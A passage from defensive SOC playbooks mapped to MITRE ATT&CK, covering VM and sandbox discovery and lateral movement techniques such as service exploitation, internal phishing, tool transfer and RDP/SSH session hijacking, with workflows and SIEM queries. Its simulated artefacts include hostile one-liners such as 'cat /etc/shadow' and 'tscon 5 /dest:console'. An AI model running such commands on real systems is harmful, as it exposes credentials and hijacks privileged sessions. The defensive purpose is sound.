Result=Mon Sep 8 09:14:22 +08 2026

D) NTP Configuration Inspection

Command=w32tm /query /status
SyncSource=time.corp.local

E) Repeated Time Checks

Frequency=Every 60 seconds
Purpose=Execution gating

F) Recon-Only Phase

TimeChange=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate scripts, monitoring or system diagnostics

Medium

- Time discovery by unknown or non-admin process

High / Critical

1. Repeated time checks tied to conditional execution
2. Time discovery followed by evasion, C2 scheduling or log manipulation

Example severity: High

(Time-based execution gating prior to C2 beaconing)

Step-by-step SOC workflow

Step 1 Validate system time discovery

Confirm:

- Which time attributes were queried (current time, timezone, NTP)?
- Was the activity authorised for the user/process?
- Is discovery single-check or repeated/conditional?
- Does it precede timed execution, C2 or evasion?

Decision point

- Legitimate operational check → document and monitor
- Suspicious temporal profiling → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
CLI queries	time, date	Immediate context
Time zone checks	tzutil, locale APIs	Regional alignment
NTP inspection	w32tm, timedatectl	Sync awareness
Repeated polling	High-frequency checks	Execution gating
API calls	Time APIs	Stealth timing logic

Step 3 Map behaviour to attacker intent

3A) Stealthy Execution Timing

Indicators

- Delayed execution until business hours

Attacker intent

- Blend into normal activity

3B) Coordinated Operations

Indicators

- Time discovery across multiple hosts

Attacker intent

- Synchronise actions

3C) Forensic and Detection Evasion

Indicators

- Time checks before log access or modification

Attacker intent

1. Anticipate or manipulate timestamps

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Command and Control
 - Scheduled beaconing
- Defense Evasion
 - Delay execution, sandbox evasion
- Indicator Removal
 - Timestomping or log tampering
- Execution
 - Time-gated payload launch

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Monitor suspicious processes performing time checks
2. Isolate affected endpoints if timed evasion suspected
3. Block outbound traffic pending investigation

If abuse confirmed

1. Block or remove malicious binaries
2. Review logs for time-based anomalies
3. Validate NTP and time integrity across environment
4. Preserve process and time-sync telemetry

Eradication and recovery

- Remove attacker footholds
- Ensure consistent and secure time synchronisation
- Harden EDR detection for time-based gating behaviour
- Improve correlation of time-based attack patterns
- Monitor closely for renewed temporal reconnaissance

Detection engineering (SIEM ideas)

A) System time discovery commands

```
index=edr  
| where command IN ("time /t","date","tzutil","w32tm")
```

B) Repeated time checks by same process

```
index=edr  
| stats count by process_name, command  
| where count > threshold
```

C) Time discovery followed by execution

```
index=edr  
| transaction process_id  
| where time_discovery=true AND payload_execution=true
```

Analyst checklist

- System time discovery confirmed
- Attributes and frequency identified
- Authorisation assessed
- Timed execution/evasion risk evaluated
- Monitoring and controls strengthened

Post-incident improvements

- Treat system time discovery as precursor to timed evasion or C2
- Monitor for execution gated by clock conditions
- Improve detection of delay-based malware behaviour
- Correlate time discovery → scheduled execution chains
- Include time-aware attack scenarios in SOC and purple-team exercises

Playbook 181 (MITRE Discovery): Virtual Machine Discovery

Technique: Virtual Machine Discovery

Purpose

Detect, investigate and respond to attacker discovery of virtualised environments, enabling attackers to:

- Determine whether the system is a virtual machine or physical host
- Detect sandbox, malware analysis or research environments
- Identify hypervisor type (VMware, Hyper-V, KVM, Xen, cloud VM)
- Adjust payload behaviour to evade analysis
- Decide whether to fully execute, delay or self-terminate

Virtual Machine Discovery is environment-awareness reconnaissance attackers learn whether they are being observed or analysed before committing to malicious activity.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of virtualisation artifacts, including:

- Commands querying hypervisor, BIOS or hardware identifiers
- Inspection of VM-specific drivers, tools or processes
- CPU feature checks related to virtualisation
- VM discovery by suspicious binaries or scripts
- Discovery preceding execution delay, self-termination or stealthy behaviour

Example use case scenario (end-to-end)

Context: SOC detects a suspicious executable checking BIOS vendor strings, VMware tools processes and CPU hypervisor flags. On sandbox systems, the binary exits silently. On physical endpoints, it deploys its full payload and establishes C2.

Attacker objective: Avoid analysis and detection by identifying virtualised environments.

Defender objective: Detect VM-aware malware early and surface hidden malicious intent.

What it looks like (simulated SOC artefacts)

A) BIOS / Hardware Vendor Discovery

Command=`wmic bios get manufacturer,version`

Result=VMware, Inc.

B) Hypervisor Detection (Windows)

Command=systeminfo

HypervisorPresent=Yes

C) Virtualisation Tool Discovery

Process=vmtoolsd.exe

Process=vboxservice.exe

D) CPU Virtualisation Flag Checks

CPUID Hypervisor Bit=Set

E) Linux VM Discovery

Command=dmidecode | grep -i virtual

Result=KVM

F) Conditional Execution

If VM_Detected == True

Exit

Else

Execute Payload

Severity decision (SOC)

Low

- Legitimate system inventory or monitoring tools

Medium

- VM discovery by unknown or non-admin process

High / Critical

- VM detection combined with conditional execution or exit
- VM discovery followed by stealthy behaviour or delayed execution

Example severity: High

(Virtualisation checks used to evade sandbox analysis)

Step-by-step SOC workflow

Step 1 Validate virtual machine discovery

Confirm:

1. Which VM indicators were queried (BIOS, tools, CPU flags)?
2. Was the activity authorised for the user/process?
3. Is discovery single or multi-layered (strong evasion logic)?
4. Does it precede execution delay, exit or alternate behaviour?

Decision point

- Legitimate VM-aware application → document and monitor
- Suspicious VM-aware logic → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
BIOS/vendor checks	wmic bios, DMI	Fast VM detection
Hypervisor flags	systeminfo, CPUID	Reliable signal
VM tools	VMware/VBox services	Sandbox confirmation
Hardware profiles	Disk, NIC models	Analysis evasion
API checks	OS/CPU APIs	Stealth logic

Step 3 Map behaviour to attacker intent

3A) Sandbox / Analysis Evasion

Indicators

- Exit or sleep on VM detection

Attacker intent

- Avoid malware analysis

3B) Conditional Payload Deployment

Indicators

- Different behaviour on VM vs physical host

Attacker intent

- Protect malware from detection

3C) Target Validation

Indicators

- Execution only on physical endpoints

Attacker intent

- Maximise real-world impact

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Defense Evasion
 - Delay execution, guardrails
2. Execution
 - Conditional payload launch
3. Command and Control
 - C2 only after VM checks pass
4. Persistence
 - Installation only on non-VM systems

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected endpoints if malware suspected
2. Block execution of suspicious binaries
3. Capture full binary and memory artefacts

If abuse confirmed

1. Expand IOC hunt for VM-aware malware
2. Enhance sandbox diversity (BIOS, VM artefacts randomisation)
3. Block delivery vectors
4. Share indicators with threat intelligence teams

Eradication and recovery

- Remove attacker footholds
- Patch and harden endpoints
- Improve EDR detection for VM discovery behaviour
- Increase sandbox realism and coverage
- Monitor closely for renewed environment checks

Detection engineering (SIEM ideas)

A) Virtual machine discovery commands

```
index=edr  
| where command IN ("systeminfo","wmic bios","dmidecode")
```

B) VM tool process discovery

```
index=edr  
| where target_process IN ("vmtoolsd.exe","vboxservice.exe")  
| where action="Query"
```

C) VM discovery followed by exit

```
index=edr  
| transaction process_id  
| where vm_discovery=true AND process_exit=true
```

Analyst checklist

- Virtual machine discovery confirmed
- Indicators and depth identified
- Authorisation assessed
- Evasion risk evaluated
- Malware analysis escalated if needed

Post-incident improvements

- Treat VM discovery as strong signal of evasive malware
- Improve sandbox and detonation realism
- Correlate VM discovery → delayed/conditional execution
- Share VM-evasion techniques with detection engineering teams
- Include VM-aware malware scenarios in SOC and purple-team exercises

Playbook 182 (MITRE Discovery): Virtualization / Sandbox Evasion

Technique: Virtualization / Sandbox Evasion

Sub-techniques:

- System Checks
- User Activity-Based Checks
- Time-Based Checks

Purpose

Detect, investigate and respond to adversaries performing discovery to determine whether they are operating inside a virtualized, sandboxed or automated analysis environment, enabling attackers to:

- Decide whether to proceed with malicious execution
- Alter behaviour to avoid detection and detonation
- Suppress payloads during SOC analysis
- Tailor attacks only to real, high-value environments
- Abort execution entirely if analysis is detected

In the Discovery phase, Virtualization/Sandbox Evasion is environment reconnaissance, not execution yet attackers are asking “Where am I?” before acting.

When to trigger this playbook

Trigger this playbook when indicators suggest environmental discovery checks consistent with sandbox or VM detection, including:

- Queries for VM drivers, registry keys or hardware artefacts
- Checks for mouse movement, keystrokes or user interaction
- Delayed execution without clear functional reason
- Discovery logic executed before any malicious payload
- Malware that exits quietly in lab environments

Example use case scenario (end-to-end)

Context: A suspicious binary runs briefly and exits without errors. No payload executes, but EDR telemetry shows system enumeration calls related to virtualization and user activity. Same binary later executes fully on a real endpoint.

Attacker objective: Determine whether the environment is safe to attack.

Defender objective: Identify sandbox-aware discovery logic and reassess sample risk.

What it looks like (simulated SOC artefacts)

A) System Check – Virtual Environment Discovery

Query=Registry
Key=HKLM\SOFTWARE\VMware, Inc.
Result=Found

B) Hardware Enumeration

CPU=1 core
RAM=2048MB
Disk=40GB

C) User Activity Check

MouseEvents=0
KeyboardEvents=0
Execution=Paused

D) Time-Based Check

Sleep=900000ms
Condition=NotMet

E) Early Exit

ProcessExitCode=0
Payload=NotLoaded

F) Discovery Outcome

Environment=SandboxDetected
Attack=Aborted

Severity decision (SOC)

Low

- Environmental checks without known malicious sample

Medium

- Sandbox-aware logic in suspicious artefact

High

- Confirmed malware suppressing execution during analysis

Example severity: Medium / High

(Pre-attack reconnaissance detected)

Step-by-step SOC workflow

Step 1 Validate environment discovery activity

Confirm:

1. Are system, hardware or registry checks sandbox/VM-specific?
2. Do checks occur before any payload execution?
3. Does the process exit or delay without functional reason?
4. Is behaviour different across environments?

Decision point

- Benign compatibility checks → document and monitor
- Sandbox-aware discovery → escalate for deeper analysis

Step 2 Identify discovery sub-technique

Sub-technique	Discovery Action	Attacker Insight
System checks	VM artefact queries	Is this a sandbox?
User activity checks	Mouse/keyboard tests	Is a human present?
Time-based checks	Long sleep/delay	Will analysis timeout?

Step 3 Map behaviour to attacker intent

3A) Analysis Detection

Indicators

- VM artefact checks

Attacker intent

- Avoid detonation

3B) Human Presence Verification

Indicators

- Input checks

Attacker intent

- Target real users only

3C) Sandbox Timeout Evasion

Indicators

- Excessive delays

Attacker intent

- Outwait automated tools

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Conditional payload loading
2. Defense Evasion
 - Additional sandbox checks
3. Command and Control
 - Delayed beaconing
4. Persistence
 - Dormant implants awaiting triggers

Decision point

- Payload activates later → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Flag sample as high-risk despite no payload
2. Prevent execution across environment
3. Preserve artefact for advanced analysis

If sandbox evasion confirmed

1. Notify SOC leadership and malware analysis teams
2. Assume analysis blind spot exploited
3. Expand hunt for similar discovery patterns

Eradication and recovery

- Block hash, behaviour and related indicators
- Improve sandbox realism (user simulation, hardware profiles)
- Reanalyse sample in bare-metal or interactive environments
- Update EDR rules for environment discovery logic

Detection engineering (SIEM / EDR ideas)

A) VM artefact queries

```
index=edr  
| where api_call IN ("RegQuery","CPUID","GetSystemFirmwareTable")
```

B) No-input execution delay

```
index=edr  
| where sleep_duration > threshold AND user_input=false
```

C) Early exit after environment checks

```
index=process  
| where runtime < short_threshold AND env_checks=true
```

Analyst checklist

- Environment discovery confirmed
- Sub-technique identified
- Sample reclassified as high-risk
- Detection rules updated
- Incident severity adjusted

Post-incident improvements

- Treat no-payload execution as suspicious, not safe
- Monitor discovery APIs as pre-attack indicators
- Improve sandbox fidelity and interaction simulation
- Correlate environment checks → delayed execution → later impact
- Educate analysts: silence can be malicious

LATERAL MOVEMENT

Lateral Movement is the stage where attackers move from the initially compromised system to other systems within the environment to expand their reach and control. Using stolen credentials, remote services or trusted relationships, adversaries traverse the network to access additional hosts, escalate their impact and position themselves closer to high-value assets. This phase transforms a local compromise into an organisation-wide incident. For SOC teams, detecting lateral movement is crucial because it signals active expansion of the attack interrupting it early can contain the breach, protect critical systems and prevent widespread disruption.

Playbook 183 (MITRE Lateral Movement): Exploitation of Remote Services

Technique: Exploitation of Remote Services

Purpose

Detect, investigate and respond to attacker exploitation of exposed or vulnerable remote services to move laterally, enabling attackers to:

- Gain access to additional systems without valid credentials
- Exploit unpatched or misconfigured services (SMB, RDP, SSH, WinRM, DBs)
- Escalate access across network segments
- Bypass authentication through service-level vulnerabilities
- Expand control rapidly across the environment

Exploitation of Remote Services is credential-less lateral movement attackers move by abusing service weaknesses rather than stolen accounts.

When to trigger this playbook

Trigger this playbook when indicators suggest remote service exploitation, including:

- Exploit signatures targeting network services
- Abnormal service crashes or errors followed by new sessions
- Lateral movement without preceding credential theft
- Remote code execution on services exposed internally
- Exploitation followed by interactive sessions or payload execution

Example use case scenario (end-to-end)

Context: SOC detects repeated malformed SMB requests against an internal file server. The server logs show a service crash followed by a new SYSTEM-level process spawned remotely. No valid authentication event is observed. The attacker then pivots to additional servers.

Attacker objective: Move laterally by exploiting vulnerable services instead of stealing credentials.

Defender objective: Detect exploitation attempts early and prevent uncontrolled lateral spread.

What it looks like (simulated SOC artefacts)

A) Exploit Attempt Against Remote Service

SourceIP=10.10.5.23
TargetIP=10.10.5.10
Service=SMB
Payload=Malformed Request

B) Service Crash / Error

Service=LanmanServer
Event=Unexpected Termination

C) Remote Code Execution Evidence

ProcessCreated=cmd.exe
Parent=services.exe
User=SYSTEM
Source=Network

D) No Authentication Preceding Access

AuthEvent=None
AccessMethod=Exploit

E) Follow-on Payload Deployment

FileDropped=C:\Windows\Temp\payload.exe

F) Lateral Expansion

NextTarget=10.10.5.11

Severity decision (SOC)

High

- Single exploitation attempt against internal service

Critical

1. Successful remote service exploitation
2. Lateral movement without credentials
3. Exploit chained across multiple systems

Example severity: Critical

(Remote service exploit yielding SYSTEM access)

Step-by-step SOC workflow

Step 1 Validate exploitation of remote service

Confirm:

- Which service was targeted (SMB, RDP, SSH, DB, web)?
- Was access gained without valid authentication?
- Are there crash logs, malformed requests or exploit indicators?
- Did exploitation result in code execution or session creation?

Decision point

- Failed exploit → increase monitoring
- Successful exploitation → escalate immediately

Step 2 Identify exploitation vector and scope

Vector	Evidence	Attacker value
SMB exploits	Malformed packets	SYSTEM access
RDP exploits	Service crash	Interactive control
SSH exploits	Protocol abuse	Shell access
Web services	RCE payloads	App-layer pivot
Database services	Query exploits	Data + OS access

Step 3 Map behaviour to attacker intent

3A) Rapid Lateral Expansion

Indicators

- Exploitation across multiple hosts

Attacker intent

- Compromise environment quickly

3B) Privilege Acquisition

Indicators

- SYSTEM/root shells from service context

Attacker intent

- Gain maximum control

3C) Stealthy Movement

Indicators

- No authentication logs

Attacker intent

- Avoid identity-based detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Execution
 - Payload deployment on new hosts
- Persistence
 - Service-based backdoors
- Credential Access
 - Dump credentials from newly compromised systems
- Discovery
 - New host and service enumeration

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

Immediate

1. Isolate exploited hosts from the network
2. Block exploit source IPs
3. Disable or restrict affected services temporarily

If exploitation confirmed

- Patch or mitigate exploited vulnerabilities
- Reset services and remove dropped payloads
- Rotate credentials on affected systems
- Preserve memory, disk and network artefacts

Eradication and recovery

- Remove attacker footholds on all compromised systems
- Apply patches and configuration hardening
- Enforce network segmentation and service isolation
- Validate no residual backdoors remain
- Monitor environment for renewed exploitation attempts

Detection engineering (SIEM ideas)

A) Exploit-like network behaviour

index=network
| where payload_type="Malformed" OR signature="Exploit"

B) Service crash followed by process creation

index=windows
| transaction host
| where service_crash=true AND process_created=true

C) Lateral movement without authentication

index=edr
| where remote_execution=true AND auth_event=false

Analyst checklist

- Remote service exploitation confirmed
- Vulnerable service identified
- Scope of lateral movement assessed
- Patching and containment executed
- Incident escalated appropriately

Post-incident improvements

- Treat internal service exploitation as critical lateral movement signal
- Patch aggressively and track service exposure
- Monitor for service crashes and malformed traffic
- Reduce internal attack surface and legacy protocols
- Include service-exploitation scenarios in SOC and purple-team exercises

Playbook 184 (MITRE Lateral Movement): Internal Spearphishing

Technique: Internal Spearphishing

Purpose

Detect, investigate and respond to attacker use of compromised internal accounts to conduct spearphishing within the organisation, enabling attackers to:

- Abuse trusted internal identities to bypass email security
- Increase success rate through social trust and context
- Steal additional credentials or MFA approvals
- Deliver malware or links internally
- Expand access laterally across departments or privilege tiers

Internal Spearphishing is trust-abuse lateral movement attackers move by weaponising legitimate internal identities instead of external infrastructure.

When to trigger this playbook

Trigger this playbook when indicators suggest phishing activity originating from internal accounts, including:

- Internal users sending credential-harvesting links or malicious attachments
- Emails that bypass external email gateway checks
- Unusual internal email volume or timing
- Messages requesting MFA approval, password resets or urgent actions
- Phishing activity following account compromise

Example use case scenario (end-to-end)

Context: SOC detects an internal email sent from a compromised finance user to multiple IT staff. The email contains a Microsoft 365 phishing link and references an internal project. One recipient clicks the link and enters credentials, enabling further compromise.

Attacker objective: Use trusted internal accounts to propagate access and privileges.

Defender objective: Detect internal phishing quickly and stop trust-based lateral spread.

What it looks like (simulated SOC artefacts)

A) Internal Phishing Email Sent

From=user.finance@corp.local

To=it.support@corp.local
Subject=Urgent Access Issue
Link=https://login-corp-secure[.]com

B) Trusted Sender Bypass

EmailGatewayVerdict=Allowed
Reason=Internal Sender

C) Social Engineering Content

Language=Internal Jargon
Reference=Active Project Name
Tone=Urgent

D) Credential Harvesting Evidence

Destination=Phishing Portal
CapturedCredential=user.it@corp.local

E) No External Indicators

ExternalIP=None
Sender=Internal Account

F) Lateral Spread Pattern

NewCompromisedUser=user.it@corp.local

Severity decision (SOC)

High

- Single internal phishing attempt

Critical

- Successful internal phishing with credential capture
- Internal phishing targeting privileged users
- Rapid propagation across departments

Example severity: Critical

(Compromised internal account used to phish IT administrators)

Step-by-step SOC workflow

Step 1 Validate internal spearphishing

Confirm:

1. Sender identity (legitimate internal account?)
2. Was the message unsolicited or unusual for the sender?
3. Does content show urgency, credential requests or links?
4. Are there clicks, credential submissions or MFA approvals?

Decision point

- Benign internal communication → close
- Suspicious internal phishing → escalate immediately

Step 2 Identify phishing method and scope

Method	Evidence	Attacker value
Credential phishing	Fake login pages	Account takeover
MFA fatigue	Push requests	Privilege escalation
Malware delivery	Attachments/links	Persistence
Trust abuse	Internal sender	High success rate
Contextual lures	Internal project names	Believability

Step 3 Map behaviour to attacker intent

3A) Lateral Credential Harvesting

Indicators

- Phishing links sent internally

Attacker intent

- Expand access across users

3B) Privilege Escalation via Trust

Indicators

- Targeting IT, finance, admins

Attacker intent

- Reach higher privilege tiers

3C) Stealth Propagation

Indicators

- No external infrastructure

Attacker intent

- Evade perimeter detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - New login anomalies
2. Valid Accounts
 - Internal account abuse
3. Command and Control
 - New sessions from phished users
4. Persistence
 - Mailbox rules or OAuth abuse

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

Immediate

1. Disable or reset compromised sender accounts
2. Quarantine malicious internal emails
3. Force password reset and MFA re-registration
4. Alert affected users immediately

If spread confirmed

1. Temporarily restrict internal email sending
2. Block phishing domains and URLs
3. Audit email logs for additional victims
4. Preserve email headers, logs and web telemetry

Eradication and recovery

- Remove attacker access from all compromised accounts
- Review and remove malicious mailbox rules
- Enforce phishing-resistant MFA where possible
- Educate users on internal phishing indicators
- Monitor for renewed internal email abuse

Detection engineering (SIEM ideas)

A) Internal phishing detection

```
index=email  
| where sender_domain="corp.local"  
| where url_category="Phishing"
```

B) Abnormal internal email volume

```
index=email  
| stats count by sender  
| where count > baseline
```

C) Internal phishing followed by login

```
index=auth  
| transaction user  
| where phishing_click=true AND login_anomaly=true
```

Analyst checklist

- Internal spearphishing confirmed
- Sender account status assessed
- Victims and scope identified
- Credentials and sessions revoked
- User notifications completed

Post-incident improvements

- Treat internal phishing as high-confidence lateral movement
- Enable phishing detection for internal traffic
- Restrict internal email for newly compromised accounts
- Monitor internal email → credential use chains
- Include internal spearphishing scenarios in SOC and purple-team exercises

Playbook 185 (MITRE Lateral Movement): Lateral Tool Transfer

Technique: Lateral Tool Transfer

Purpose

Detect, investigate and respond to attacker transfer of tools, payloads or utilities between internal systems, enabling attackers to:

- Stage malware and tooling closer to high-value targets
- Reduce reliance on external downloads (egress controls bypass)
- Blend malicious transfers into normal internal traffic
- Prepare for execution, persistence or credential access on new hosts
- Scale operations rapidly across the environment

Lateral Tool Transfer is infrastructure staging lateral movement attackers move capability, not just access, across systems.

When to trigger this playbook

Trigger this playbook when indicators suggest internal file transfer of tools or payloads, including:

- File copies between hosts using SMB, SCP, SFTP, RDP clipboard, WinRM, PsExec
- Use of admin shares (C\$, ADMIN\$) or temporary directories
- Transfers initiated by suspicious processes or compromised accounts
- Internal transfers of executables, scripts, DLLs or archives
- Tool transfer preceding execution, persistence or credential access

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation copying an executable to multiple servers via SMB admin shares. The file hashes match known post-exploitation tooling. Minutes later, the tool is executed on a domain controller to dump credentials.

Attacker objective: Stage post-exploitation tooling internally to expand impact.

Defender objective: Detect internal tool staging early and prevent execution on new hosts.

What it looks like (simulated SOC artefacts)

A) SMB-Based Tool Transfer

SourceHost=WS-23
TargetHost=SRV-FILE01
Path=\\SRV-FILE01\C\$\Windows\Temp\tool.exe
Action=Write

B) Use of Admin Share

Share=ADMIN\$
User=CORP\UserA
Protocol=SMB

C) SCP-Based Transfer (Linux)

Command=scp tool.sh user@db01:/tmp/

D) RDP Clipboard File Copy

Channel=RDPClipboard
File=payload.dll

E) Transfer Without External Download

InternetDownload=None
InternalTransfer=True

F) Staging Complete

FilePresent=Yes
Execution=Pending

Severity decision (SOC)

Medium

- Internal file transfer of benign formats (logs, documents)

High

- Internal transfer of executables or scripts by non-admins

Critical

- Tool transfer to privileged systems
- Transfer followed by execution or persistence

Example severity: Critical

(Lateral transfer of credential-dumping tools to a DC)

Step-by-step SOC workflow

Step 1 Validate lateral tool transfer

Confirm:

1. What file was transferred (type, hash, reputation)?
2. Which hosts were involved (source → target)?
3. Was the transfer authorised and expected?
4. Does the transfer precede execution or escalation?

Decision point

- Legitimate admin file copy → document and monitor
- Suspicious tool transfer → escalate immediately

Step 2 Identify transfer method and scope

Method	Evidence	Attacker value
SMB/Admin shares	C\$, ADMIN\$	Stealthy staging
SCP/SFTP	Secure copy	Linux pivoting
RDP clipboard	Clipboard channel	EDR bypass
WinRM/PsExec	Remote management	Tool execution
File shares	Temporary directories	Rapid spread

Step 3 Map behaviour to attacker intent

3A) Capability Staging

Indicators

- Transfer of tools without immediate execution

Attacker intent

- Prepare for later actions

3B) Defense Evasion

Indicators

- No external downloads

Attacker intent

- Avoid egress and proxy detection

3C) Rapid Lateral Expansion

Indicators

- Same tool copied to multiple hosts

Attacker intent

- Scale compromise quickly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Tool launch on target hosts
2. Credential Access
 - LSASS dumping, token theft
3. Persistence
 - Service or scheduled task creation
4. Discovery
 - New host or service enumeration

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

Immediate

1. Quarantine transferred files across all hosts
2. Isolate affected endpoints if execution risk exists
3. Block SMB/admin share access temporarily if required

If abuse confirmed

1. Revoke credentials used for transfer

2. Remove staged tools from all systems
3. Restrict lateral file transfer methods
4. Preserve file, network and endpoint telemetry

Eradication and recovery

- Remove attacker footholds on all affected hosts
- Audit internal file transfer activity historically
- Enforce least privilege on admin shares
- Harden EDR controls on internal transfers
- Monitor environment for renewed staging attempts

Detection engineering (SIEM ideas)

A) Internal executable transfers

```
index=network OR index=edr  
| where action="FileWrite"  
| where file_extension IN ("exe","dll","ps1","sh")  
| where src_host!=dest_host
```

B) Admin share abuse

```
index=windows  
| where share_name IN ("C$","ADMIN$")  
| where user_role!="Admin"
```

C) Transfer followed by execution

```
index=edr  
| transaction file_hash  
| where file_transfer=true AND process_execution=true
```

Analyst checklist

- Lateral tool transfer confirmed
- File type and hash analysed
- Source and target scope identified
- Execution risk assessed
- Containment and cleanup completed

Post-incident improvements

- Treat lateral tool transfer as precursor to execution and escalation

- Restrict and monitor admin shares and remote copy channels
- Alert on internal transfer of executable content
- Correlate file transfer → execution behaviour
- Include tool-staging scenarios in SOC and purple-team exercises

Playbook 186 (MITRE Lateral Movement): Remote Service Session Hijacking

Technique: Remote Service Session Hijacking

Sub-techniques:

- SSH Hijacking
- RDP Hijacking

Purpose

Detect, investigate and respond to attackers hijacking existing authenticated remote service sessions, enabling attackers to:

- Reuse valid, trusted sessions without credentials
- Bypass MFA and authentication logging
- Inherit the privilege level of active users (often admins)
- Move laterally with minimal noise
- Evade identity-based detection controls

Remote Service Session Hijacking is session-abuse lateral movement attackers move by stealing trust that already exists, not by authenticating themselves.

When to trigger this playbook

Trigger this playbook when indicators suggest reuse or takeover of active remote sessions, including:

- RDP or SSH activity without corresponding login events
- New commands executed under an existing session context
- Session reuse from unusual processes or hosts
- Admin-level actions without MFA prompts
- Session activity following local compromise or privilege escalation

Example use case scenario (end-to-end)

Context: SOC detects suspicious activity on a server where an administrator is logged in via RDP. No new authentication event is recorded, but new processes execute under the admin session. Investigation shows the attacker used local SYSTEM access to hijack the active RDP session and pivot further.

Attacker objective: Move laterally by taking over trusted remote sessions without authenticating.

Defender objective: Detect session misuse and protect privileged remote access paths.

What it looks like (simulated SOC artefacts)

A) RDP Session Hijacking (Windows)

ActiveSession=RDP-Tcp#5
User=DomainAdmin
NewProcess=powershell.exe
AuthEvent=None

B) Session Switch Evidence

Command=tscon 5 /dest:console
User=SYSTEM

C) SSH Session Hijacking (Linux)

Session=pts/2
User=root
NewCommand=cat /etc/shadow
AuthLog=None

D) Privileged Commands Without Login

Command=net group "Domain Admins"
Result=Success

E) Process Parent Anomaly

ParentProcess=services.exe
ChildProcess=cmd.exe
UserContext=Admin

F) Session Persistence

SessionDuration=Extended
Reauth=None

Severity decision (SOC)

High

- Suspected session misuse with limited impact

Critical

- Confirmed hijacking of admin SSH or RDP sessions
- Session abuse leading to lateral spread or credential access

Example severity: Critical

(Admin RDP session hijacked without authentication)

Step-by-step SOC workflow

Step 1 Validate remote session hijacking

Confirm:

1. Which service was hijacked (SSH or RDP)?
2. Is there activity without corresponding authentication events?
3. Did actions occur under existing privileged sessions?
4. Was the system already compromised locally?

Decision point

- False positive (normal admin activity) → document
- Session hijacking suspected → escalate immediately

Step 2 Identify hijacking method and scope

Sub-technique	Evidence	Attacker value
RDP hijacking	tscon, session reuse	Admin GUI access
SSH hijacking	TTY reuse	Root shell
Token reuse	Existing session tokens	MFA bypass
Local privilege abuse	SYSTEM/root	Session control
Session injection	Process context mismatch	Stealth

Step 3 Map behaviour to attacker intent

3A) MFA and Authentication Bypass

Indicators

- No login events for high-privilege actions

Attacker intent

- Avoid identity controls

3B) Stealthy Lateral Movement

Indicators

- Commands executed under trusted sessions

Attacker intent

- Blend into legitimate admin activity

3C) Privilege Inheritance

Indicators

- Session hijack of admin/root users

Attacker intent

- Maximise access quickly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, SSH key theft
2. Persistence
 - New users, SSH keys, services
3. Lateral Movement
 - Additional session hijacking
4. Defense Evasion
 - Log manipulation or timestomping

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

Immediate

1. Terminate hijacked SSH/RDP sessions
2. Isolate affected hosts
3. Disable compromised accounts temporarily

If abuse confirmed

1. Force logout of all active sessions for affected users
2. Rotate credentials and SSH keys
3. Review and restrict local admin privileges
4. Preserve session, process and authentication logs

Eradication and recovery

- Remove attacker footholds and persistence
- Enforce session isolation and timeouts
- Enable RDP Restricted Admin Mode where applicable
- Harden SSH session management and monitoring
- Monitor closely for renewed session abuse

Detection engineering (SIEM ideas)

A) RDP session activity without auth

```
index=windows  
| where event_type="ProcessCreate"  
| where logon_event=false AND user_role="Admin"
```

B) RDP session switching commands

```
index=windows  
| where command LIKE "tscon%"
```

C) SSH command execution without login

```
index=linux_auth  
| where auth_event=false AND tty IS NOT NULL
```

Analyst checklist

- Remote session hijacking confirmed
- Service and user context identified
- Authentication bypass verified
- Scope of lateral movement assessed
- Sessions terminated and credentials rotated

Post-incident improvements

- Treat session hijacking as critical lateral movement signal
- Enforce MFA revalidation for privileged sessions
- Limit concurrent and long-lived sessions

- Monitor for session activity without authentication
- Include session-hijack scenarios in SOC and purple-team exercises

Playbook 187 (MITRE Lateral Movement): Remote Services

Technique: Remote Services

Sub-techniques:

- Remote Desktop Protocol (RDP)
- SMB / Windows Admin Shares
- Distributed Component Object Model (DCOM)
- Secure Shell (SSH)
- Virtual Network Computing (VNC)
- Windows Remote Management (WinRM)
- Cloud Services
- Direct Cloud VM Connections

Purpose

Detect, investigate and respond to attacker lateral movement using legitimate remote access services, enabling attackers to:

- Move laterally using valid credentials or tokens
- Blend malicious activity into normal administrative traffic
- Bypass exploit-based detection by abusing trusted protocols
- Access systems interactively or programmatically
- Expand access across on-prem and cloud environments

Remote Services represent credential-based lateral movement, where attackers use legitimate management channels rather than exploits or malware.

When to trigger this playbook

Trigger this playbook when indicators suggest remote access abuse, including:

- RDP, SSH, SMB, WinRM or VNC logins from unusual sources
- Admin share access outside normal patterns
- DCOM-initiated remote process execution
- Cloud console or API access from compromised identities
- Remote connections following credential theft or phishing

Example use case scenario (end-to-end)

Context: SOC observes an internal user account authenticating via SMB admin shares to multiple servers, followed by WinRM execution. Later, the same credentials are used to access a cloud VM directly via the provider console. No exploits are detected only legitimate remote services.

Attacker objective: Move laterally quietly using trusted remote access paths.

Defender objective: Detect misuse of legitimate remote services and stop credential-based spread.

What it looks like (simulated SOC artefacts)

A) Remote Desktop Protocol (RDP)

Source=WS-23
Target=SRV-DC01
Service=RDP
User=CORP\Admin1
LogonType=10

B) SMB / Admin Share Access

Share=\\SRV-FILE01\C\$\nUser=CORP\UserA\nAction=Write

C) DCOM Remote Execution

Process=mmc.exe\nTargetHost=SRV-APP01\nAuthContext=Admin

D) SSH Lateral Access

Source=10.10.5.23\nTarget=db01\nUser=root\nMethod=SSH

E) WinRM Command Execution

Command=Invoke-Command\nTarget=SRV-APP02\nUser=CORP\Admin2

F) VNC Session Start

